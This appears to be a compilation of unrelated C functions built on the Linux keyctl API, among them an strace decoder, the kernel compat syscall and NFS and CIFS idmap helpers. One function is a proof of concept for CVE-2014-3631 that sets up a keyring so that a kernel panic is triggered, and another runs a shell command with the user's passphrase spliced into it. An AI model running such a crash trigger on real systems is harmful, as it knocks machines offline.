int sys_keyctl(struct tcb *tcp) { int cmd = tcp->u_arg[0]; if (entering(tcp)) printxval(keyctl_commands, cmd, "KEYCTL_???"); switch (cmd) { case KEYCTL_GET_KEYRING_ID: return keyctl_get_keyring_id(tcp, tcp->u_arg[1], tcp->u_arg[2]); case KEYCTL_JOIN_SESSION_KEYRING: return keyctl_join_session_keyring(tcp, tcp->u_arg[1]); case KEYCTL_UPDATE: return keyctl_update_key(tcp, tcp->u_arg[1], tcp->u_arg[2], tcp->u_arg[3]); case KEYCTL_REVOKE: case KEYCTL_CLEAR: case KEYCTL_INVALIDATE: case KEYCTL_ASSUME_AUTHORITY: return keyctl_handle_key(tcp, tcp->u_arg[1]); case KEYCTL_LINK: case KEYCTL_UNLINK: return keyctl_handle_key_key(tcp, tcp->u_arg[1], tcp->u_arg[2]); case KEYCTL_DESCRIBE: case KEYCTL_READ: case KEYCTL_GET_SECURITY: return keyctl_read_key(tcp, tcp->u_arg[1], tcp->u_arg[2], tcp->u_arg[3]); case KEYCTL_SEARCH: return keyctl_keyring_search(tcp, tcp->u_arg[1], tcp->u_arg[2], tcp->u_arg[3], tcp->u_arg[4]); case KEYCTL_CHOWN: return keyctl_chown_key(tcp, tcp->u_arg[1], tcp->u_arg[2], tcp->u_arg[3]); case KEYCTL_SETPERM: return keyctl_setperm_key(tcp, tcp->u_arg[1], tcp->u_arg[2]); case KEYCTL_INSTANTIATE: return keyctl_instantiate_key(tcp, tcp->u_arg[1], tcp->u_arg[2], tcp->u_arg[3], tcp->u_arg[4]); case KEYCTL_NEGATE: return keyctl_negate_key(tcp, tcp->u_arg[1], tcp->u_arg[2], tcp->u_arg[3]); case KEYCTL_SET_REQKEY_KEYRING: return keyctl_set_reqkey_keyring(tcp, tcp->u_arg[1]); case KEYCTL_SET_TIMEOUT: return keyctl_set_timeout(tcp, tcp->u_arg[1], tcp->u_arg[2]); case KEYCTL_SESSION_TO_PARENT: return 0; case KEYCTL_REJECT: return keyctl_reject_key(tcp, tcp->u_arg[1], tcp->u_arg[2], tcp->u_arg[3], tcp->u_arg[4]); case KEYCTL_INSTANTIATE_IOV: return keyctl_instantiate_key_iov(tcp, tcp->u_arg[1], tcp->u_arg[2], tcp->u_arg[3], tcp->u_arg[4]); case KEYCTL_GET_PERSISTENT: return keyctl_get_persistent(tcp, tcp->u_arg[1], tcp->u_arg[2]); default: if (entering(tcp)) tprintf(", %#lx, %#lx, %#lx, %#lx", tcp->u_arg[1], tcp->u_arg[2], tcp->u_arg[3], tcp->u_arg[4]); } return 0; }
/* * the key control system call, 32-bit compatibility version for 64-bit archs * - this should only be called if the 64-bit arch uses weird pointers in * 32-bit mode or doesn't guarantee that the top 32-bits of the argument * registers on taking a 32-bit syscall are zero * - if you can, you should call sys_keyctl directly */ asmlinkage long compat_sys_keyctl(u32 option, u32 arg2, u32 arg3, u32 arg4, u32 arg5) { switch (option) { case KEYCTL_GET_KEYRING_ID: return keyctl_get_keyring_ID(arg2, arg3); case KEYCTL_JOIN_SESSION_KEYRING: return keyctl_join_session_keyring(compat_ptr(arg2)); case KEYCTL_UPDATE: return keyctl_update_key(arg2, compat_ptr(arg3), arg4); case KEYCTL_REVOKE: return keyctl_revoke_key(arg2); case KEYCTL_DESCRIBE: return keyctl_describe_key(arg2, compat_ptr(arg3), arg4); case KEYCTL_CLEAR: return keyctl_keyring_clear(arg2); case KEYCTL_LINK: return keyctl_keyring_link(arg2, arg3); case KEYCTL_UNLINK: return keyctl_keyring_unlink(arg2, arg3); case KEYCTL_SEARCH: return keyctl_keyring_search(arg2, compat_ptr(arg3), compat_ptr(arg4), arg5); case KEYCTL_READ: return keyctl_read_key(arg2, compat_ptr(arg3), arg4); case KEYCTL_CHOWN: return keyctl_chown_key(arg2, arg3, arg4); case KEYCTL_SETPERM: return keyctl_setperm_key(arg2, arg3); case KEYCTL_INSTANTIATE: return keyctl_instantiate_key(arg2, compat_ptr(arg3), arg4, arg5); case KEYCTL_NEGATE: return keyctl_negate_key(arg2, arg3, arg4); case KEYCTL_SET_REQKEY_KEYRING: return keyctl_set_reqkey_keyring(arg2); case KEYCTL_SET_TIMEOUT: return keyctl_set_timeout(arg2, arg3); case KEYCTL_ASSUME_AUTHORITY: return keyctl_assume_authority(arg2); case KEYCTL_GET_SECURITY: return keyctl_get_security(arg2, compat_ptr(arg3), arg4); case KEYCTL_SESSION_TO_PARENT: return keyctl_session_to_parent(); default: return -EOPNOTSUPP; } } /* end compat_sys_keyctl() */
int dns_query_afsdb(key_serial_t key, const char *cell, char *options) { int ret; char *vllist[MAX_VLS]; /* list of name servers */ int vlsnum = 0; /* number of name servers in list */ unsigned mask = INET_ALL; int response_len; /* buffer length */ ns_msg handle; /* handle for response message */ unsigned long ttl = ULONG_MAX; union { HEADER hdr; u_char buf[NS_PACKETSZ]; } response; /* response buffers */ debug("Get AFSDB RR for cell name:'%s', options:'%s'", cell, options); /* query the dns for an AFSDB resource record */ response_len = res_query(cell, ns_c_in, ns_t_afsdb, response.buf, sizeof(response)); if (response_len < 0) /* negative result */ nsError(h_errno, cell); if (ns_initparse(response.buf, response_len, &handle) < 0) error("ns_initparse: %m"); /* Is the IP address family limited? */ if (strcmp(options, "ipv4") == 0) mask = INET_IP4_ONLY; else if (strcmp(options, "ipv6") == 0) mask = INET_IP6_ONLY; /* look up the hostnames we've obtained to get the actual addresses */ afsdb_hosts_to_addrs(vllist, &vlsnum, handle, ns_s_an, mask, &ttl); info("DNS query AFSDB RR results:%u ttl:%lu", payload_index, ttl); /* set the key's expiry time from the minimum TTL encountered */ if (!debug_mode) { ret = keyctl_set_timeout(key, ttl); if (ret == -1) error("%s: keyctl_set_timeout: %m", __func__); } /* handle a lack of results */ if (payload_index == 0) nsError(NO_DATA, cell); /* must include a NUL char at the end of the payload */ payload[payload_index].iov_base = ""; payload[payload_index++].iov_len = 1; dump_payload(); /* load the key with data key */ if (!debug_mode) { ret = keyctl_instantiate_iov(key, payload, payload_index, 0); if (ret == -1) error("%s: keyctl_instantiate: %m", __func__); } exit(0); }
int main(const int argc, char *const argv[]) { int c; long rc; key_serial_t key = 0; char *buf; unsigned int timeout = 600; /* default idmap cache timeout */ openlog(prog, 0, LOG_DAEMON); while ((c = getopt_long(argc, argv, "ht:v", long_options, NULL)) != -1) { switch (c) { case 'h': rc = 0; usage(); goto out; case 't': rc = str_to_uint(optarg, &timeout); if (rc) { syslog(LOG_ERR, "bad timeout value %s: %s", optarg, strerror(rc)); goto out; } break; case 'v': rc = 0; printf("version: %s\n", VERSION); goto out; default: rc = EINVAL; syslog(LOG_ERR, "unknown option: %c", c); goto out; } } rc = 1; /* is there a key? */ if (argc <= optind) { usage(); goto out; } /* get key and keyring values */ errno = 0; key = strtol(argv[optind], NULL, 10); if (errno != 0) { key = 0; syslog(LOG_ERR, "Invalid key format: %s", strerror(errno)); goto out; } if (init_plugin(&plugin_handle)) { plugin_handle = NULL; syslog(LOG_ERR, "Unable to initialize ID mapping plugin: %s", plugin_errmsg); goto out; } /* set timeout on key */ rc = keyctl_set_timeout(key, timeout); if (rc == -1) { syslog(LOG_ERR, "unable to set key timeout: %s", strerror(errno)); goto out_exit_plugin; } rc = keyctl_describe_alloc(key, &buf); if (rc == -1) { syslog(LOG_ERR, "keyctl_describe_alloc failed: %s", strerror(errno)); goto out_exit_plugin; } syslog(LOG_DEBUG, "key description: %s", buf); rc = cifs_idmap(key, buf); out_exit_plugin: exit_plugin(plugin_handle); out: return rc; }
/** * Poc for cve_2014_3631 vulnerability */ int main() { key_serial_t currentKey = 0; key_serial_t topKey = 0; int i = 0; int fp; char kname[16]={0}; char gc_delay[16] = {0}; int delay =0; printf("[cve_2014_3631]: Preparing to exploit.\n"); // fetch garbage collector value.. fp = open("/proc/sys/kernel/keys/gc_delay",O_RDONLY); if(fp == -1) { printf("[cve_2014_3631 error]: Could not open /proc/sys/kernel/keys/gc_delay, assuming delay is 5 minutes. \n"); delay = 300; } else { read(fp,gc_delay,sizeof(gc_delay-1)); delay = atoi(gc_delay); close(fp); } // Add top key topKey = add_key("keyring","Lvl1K",NULL,0,KEY_SPEC_USER_KEYRING); if(topKey == -1) { printf("[cve_2014_3631 error]: keyring fault\n"); perror("add_key"); return -1; } // Add 18 keys to top key for(i=0; i< 18; i++) { memset(kname,00,sizeof(kname)); memcpy(kname,"Lvl2K_",strlen("Lvl2K_")); sprintf(kname+strlen("Lvl2K_"),"%d",i); currentKey = add_key("keyring",kname,NULL,0,topKey); if(currentKey == -1) { printf("[cve_2014_3631 error]: keyring fault\n"); perror("add_key"); return -1; } } /* Entering exploit critical code */ printf("[cve_2014_3631]: Exploit!\n"); // Set timeout and wait for garbage collector keyctl_set_timeout(currentKey, 2); // Wait for garbage collector printf("[cve_2014_3631]: Exploit triggered, system will panic in %d seconds..\n",delay); return 0; }
int main(int argc, char *argv[]) { int ret = 1; char *secret_cmd = NULL; char *subprocess_argv[4]; struct sm_opts *opts = NULL; key_serial_t key_id; char key_payload[KEY_PAYLOAD_MAXLEN]; char session_name[SESSION_NAME_MAXLEN]; // parse_opts gives use default values if not provided opts = sm_opts_parse(argc, argv); if (opts == NULL) { ret = 1; goto exit; } if (opts->flags & OPT_HELP || opts->flags & OPT_UNRECOGNIZED) { print_usage(); ret = 0; goto exit; } if (opts->flags & OPT_VERSION) { fprintf(stderr, PACKAGE_NAME " " PACKAGE_VERSION "\n"); ret = 0; goto exit; } // We deal with only one session name for the moment sprintf(session_name, "sm-session-%u", SM_MAGIC); // Start to request a key in the current session if present key_id = request_key("user", session_name, NULL, KEY_SPEC_SESSION_KEYRING); if (opts->flags & OPT_QUIT ) { if (key_id > 0) keyctl_revoke(key_id); else fprintf(stderr, "No keyring session could be found.\n"); ret = 0; goto exit; } if (opts->flags & OPT_SHOW_KEYID) { if (key_id > 0) { printf("%d\n", key_id); ret = 0; goto exit; } else { fprintf(stderr, "No key is attached to the current session.\n"); ret = 1; goto exit; } } if (key_id <= 0) { // Ask the user to enter his secret phrase and memset(key_payload, 0, KEY_PAYLOAD_MAXLEN); sprintf(key_payload, "%s", getpass("Secret: ")); if (strlen(key_payload) == 0) { fprintf(stderr, "An empty secret phrase is not supported.\n"); ret = 1; goto exit; } key_id = add_key("user", session_name, key_payload, strlen(key_payload), KEY_SPEC_SESSION_KEYRING); if (key_id < 0) { fprintf(stderr, "FATAL: Cannot add a passphrase, is CONFIG_KEYS enabled in your kernel?\n"); ret = 1; goto exit; } // To be able to find again the passphrase in the next execution of sm, // we have to attach the current keyring session to the shell // interpreter which executed this cmd keyctl_session_to_parent(); } else { // Read the passphrase memset(key_payload, 0, KEY_PAYLOAD_MAXLEN); if (keyctl_read(key_id, key_payload, KEY_PAYLOAD_MAXLEN) < 0) { ret = 1; goto exit; } } // We should have here a valid key id, so trigger the timeout again keyctl_set_timeout(key_id, (unsigned int) opts->timeout_sec); // Replace all {} occurrences by the secret phrase secret_cmd = replace_str(opts->cmd, opts->repl_str, key_payload); // Execute the secret cmd if (secret_cmd) { // Replacing the current executable image will at least return the exit // code of the executed command subprocess_argv[0] = "sh"; subprocess_argv[1] = "-c"; subprocess_argv[2] = secret_cmd; subprocess_argv[3] = NULL; execvp("/bin/sh", subprocess_argv); assert(0); } exit: if (opts) sm_opts_free(opts); return ret; }
int main(int argc, char **argv) { char *arg; char *value; char *type; int rc = 1, opt; int timeout = 600; key_serial_t key; char *progname, *keystr = NULL; int clearing = 0, keymask = 0, display = 0, list = 0; /* Set the basename */ if ((progname = strrchr(argv[0], '/')) != NULL) progname++; else progname = argv[0]; xlog_open(progname); while ((opt = getopt(argc, argv, "du:g:r:ct:vl")) != -1) { switch (opt) { case 'd': display++; break; case 'l': list++; break; case 'u': keymask = UIDKEYS; keystr = strdup(optarg); break; case 'g': keymask = GIDKEYS; keystr = strdup(optarg); break; case 'r': keymask = GIDKEYS|UIDKEYS; keystr = strdup(optarg); break; case 'c': clearing++; break; case 'v': verbose++; break; case 't': timeout = atoi(optarg); break; default: xlog_warn(usage, progname); break; } } if ((rc = nfs4_init_name_mapping(PATH_IDMAPDCONF))) { xlog_errno(rc, "Unable to create name to user id mappings."); return EXIT_FAILURE; } if (!verbose) verbose = conf_get_num("General", "Verbosity", 0); if (display) return display_default_domain(); if (list) return list_keyring(DEFAULT_KEYRING); if (keystr) { return key_invalidate(keystr, keymask); } if (clearing) { xlog_syslog(0); return keyring_clear(DEFAULT_KEYRING); } xlog_stderr(0); if ((argc - optind) != 2) { xlog_err("Bad arg count. Check /etc/request-key.conf"); xlog_warn(usage, progname); return EXIT_FAILURE; } if (verbose) nfs4_set_debug(verbose, NULL); key = strtol(argv[optind++], NULL, 10); arg = strdup(argv[optind]); if (arg == NULL) { xlog_err("strdup failed: %m"); return EXIT_FAILURE; } type = strtok(arg, ":"); value = strtok(NULL, ":"); if (value == NULL) { free(arg); xlog_err("Error: Null uid/gid value."); return EXIT_FAILURE; } if (verbose) { xlog_warn("key: 0x%lx type: %s value: %s timeout %ld", key, type, value, timeout); } /* Become a possesor of the to-be-instantiated key to set the key's timeout */ request_key("keyring", DEFAULT_KEYRING, NULL, KEY_SPEC_THREAD_KEYRING); if (strcmp(type, "uid") == 0) rc = id_lookup(value, key, USER); else if (strcmp(type, "gid") == 0) rc = id_lookup(value, key, GROUP); else if (strcmp(type, "user") == 0) rc = name_lookup(value, key, USER); else if (strcmp(type, "group") == 0) rc = name_lookup(value, key, GROUP); /* Set timeout to 10 (600 seconds) minutes */ if (rc == EXIT_SUCCESS) keyctl_set_timeout(key, timeout); free(arg); return rc; }